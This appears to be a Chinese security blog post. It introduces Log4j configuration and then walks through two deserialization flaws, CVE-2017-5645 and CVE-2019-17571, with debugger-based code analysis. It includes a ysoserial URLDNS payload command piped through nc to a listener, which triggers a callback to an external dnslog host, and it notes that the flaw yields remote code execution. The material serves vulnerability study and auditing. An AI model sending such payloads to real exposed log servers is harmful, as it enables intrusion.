介绍
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
简单来说,Log4j是一种非常流行的日志框架,最新版本是2.x;也是一个组件化设计的日志系统,它的架构大致如下:
log.info("User signed in.");
│
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
├──>│ Appender │───>│ Filter │───>│ Layout │───>│ Console │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘
│
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
├──>│ Appender │───>│ Filter │───>│ Layout │───>│ File │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘
│
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
└──>│ Appender │───>│ Filter │───>│ Layout │───>│ Socket │
└──────────┘ └──────────┘ └──────────┘ └──────────┘
当我们使用Log4j输出一条日志时,Log4j自动通过不同的Appender
把同一条日志输出到不同的目的地。例如:
- console:输出到屏幕;
- file:输出到文件;
- socket:通过网络输出到远程计算机;
- jdbc:输出到数据库
在输出日志的过程中,通过Filter来过滤哪些log需要被输出,哪些log不需要被输出。例如,仅输出ERROR
级别的日志。
最后,通过Layout来格式化日志信息,例如,自动添加日期、时间、方法名称等信息。
基础使用
pom.xml
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
log4j2.xml
我们把一个log4j2.xml
的文件放到classpath
下就可以让Log4j读取配置文件并按照我们的配置来输出日志。
<?xml version="1.0" encoding="UTF-8"?>
<!-- log4j2 配置文件 -->
<!-- 日志级别 trace<debug<info<warn<error<fatal -->
<configuration status="info">
<!-- 自定义属性 -->
<Properties>
<!-- 日志格式(控制台) -->
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<!-- 日志格式(文件) -->
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<!-- 日志文件路径 -->
<Property name="filePath">logs/myLog.log</Property>
</Properties>
<appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console>
<RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile>
</appenders>
<loggers>
<root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root>
</loggers>
</configuration>
Test.java
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class Test
{
public static void main( String[] args )
{
Logger logger = LogManager.getLogger(LongFunction.class);
logger.trace("trace level");
logger.debug("debug level");
logger.info("info level");
logger.warn("warn level");
logger.error("error level");
logger.fatal("fatal level");
}
}
CVE-2017-5645
简介
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。在使用TCP/UDP 套接字接口监听获取序列化的日志事件时,存在反序列化漏洞。
环境准备
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.beust/jcommander -->
<dependency>
<groupId>com.beust</groupId>
<artifactId>jcommander</artifactId>
<version>1.48</version>
</dependency>
直接复现
环境启动
找到刚才下载的jar包,执行如下命令启动监听6666端口
java -cp log4j-core-2.8.1.jar:log4j-api-2.8.1.jar:jcommander-1.48.jar org.apache.logging.log4j.core.net.server.TcpSocketServer -p 6666
漏洞复现
使用ysoserial
直接生成恶意的序列化数据,并发送给6666端口
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://jqi53t.dnslog.cn | nc 127.0.0.1 6666
使用URLDNS链,反序列化后查看DNSLOG,已经收到请求
DEBUG分析
编写启动代码,其实主要就是调用了org.apache.logging.log4j.core.net.server.TcpSocketServer.main()
,和前面命令行启动一样
package org.example;
import org.apache.logging.log4j.core.net.server.TcpSocketServer;
public class Test {
public static void main(String[] args) throws Exception {
String[] arg = {"-p", "6666"};
TcpSocketServer.main(arg);
}
}
分析一下整个过程,在main()
那下断点,启动
跟进main()
BasicCommandLineArguments.parseCommandLine()
不难猜出是解析参数的,跳过
经过一些判断,到了 createSerializedSocketServer()
方法,看名字是创建序列化socket服务端,跟进去
发现创建了一个TcpSocketServer
,并且调用LOGGER.exit()
方法返回,LOGGER.exit
的功能就是对日志做些操作,然后仍然返回传进来的对象,所以这里相当于就是返回了TcpSocketServer
。
返回TcpSocketServer.clss
的main()
方法,调用了socketServer.startNewThread()
,看名字是新建一个线程,跟进去
AbstractSocketServer
类实现了Runnable
接口,在启动新线程的时候,会自动调用run()
方法;(不熟悉可以去看看Java多线程)
这里多线程的任务程序是this
,而此时的this
是TcpSocketServer
,所以会调用TcpSocketServer.run()
方法,看下对应的run()
方法
可见里面调用了serverSocket.accept()
方法,返回一个Socket
,这个没啥影响,但此时已经开始监听我们设定的端口了
手动向该端口发送数据,触发后续流程
然后用clientSocket
实例化SocketHandler
看下SocketHandler
的构造函数,给this.inputStream
赋值
而TcpSocketServer.this.logEventInput
的类是ObjectInputStreamLogEventBridge
,这里相当于调用了它的wrapStream
方法
接收到数据后的整个流程,就是把socket连接传过来的数据流作为包装成ObjectInputStream
,现在this.inputStream
就是一个来自用户输入的ObjectInputStream
流了。
回到TcpSocketServer
的run
方法
继续往下,执行了handler.start()
,而handler是SocketHandler
类的实例,这个类继承自Log4jThread
,Log4jThread
又继承自Thread类,所以他是一个自定义的线程类,自定义的线程类有个特点,那就是必须重写run
方法,而且当调用自定义线程类的start()
方法时,会自动调用它的run()
方法
然后默认会进入到TcpSocketServer.this.logEventInput.logEvents
这个方法,跟进
调用了readObject()
进行反序列化,然后触发我们的恶意链,到此分析结束
总结:inputStream
就是被封装成ObjectInputStream
流的、我们通过tcp发送的数据。所以只要log4j的tcpsocketserver
端口对外开放,且目标存在可利用的pop链,我们就可以通过tcp直接发送恶意的序列化payload实现RCE。
CVE-2019-17571
简介
https://logging.apache.org/log4j/1.2/
和上面的CVE差不多,只是触发点是SocketNode
的run()
方法,且这个地方需要的log4j
的版本是1.2,感觉是为了凑CVE?
环境准备
<!-- https://mvnrepository.com/artifact/log4j/log4j -->
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
Debug分析
启动函数,有错误啥的可以不用管,不影响复现
package org.example;
import org.apache.log4j.net.SocketServer;
public class Test {
public static void main(String[] args) {
String[] arg = {"6666", "./", "./"};
SocketServer.main(arg);
}
}
一样的,main
下断点
跟进main
,先初始化参数
然后一直到serverSocket.accept
,开启监听
传入恶意的序列化数据
继续往下,先实例化SocketNode
,然后实例化Thread
,最后调用start
跟进SocketNode
,发现会将我们传入的数据转换成ObjectInputStream
类,并赋值给变量ois
然后返回main
方法中,发现调用了start()
方法,根据多线程,调用start()
方法其实就是调用了对应类的run()
方法,这里其实就是调用的SocketNode.run()
跟进SocketNode.run()
,发现this.ois
调用了方法readObject()
,至此反序列化完成
查看dnslog日志,成功触发
其他
log4j是一个日志组件,在用log4j搭建日志服务器集中管理日志的时候会用到socketserver
这种机制,试了一下用nmap
识别不出服务,所以还是以审计发现该漏洞为主吧。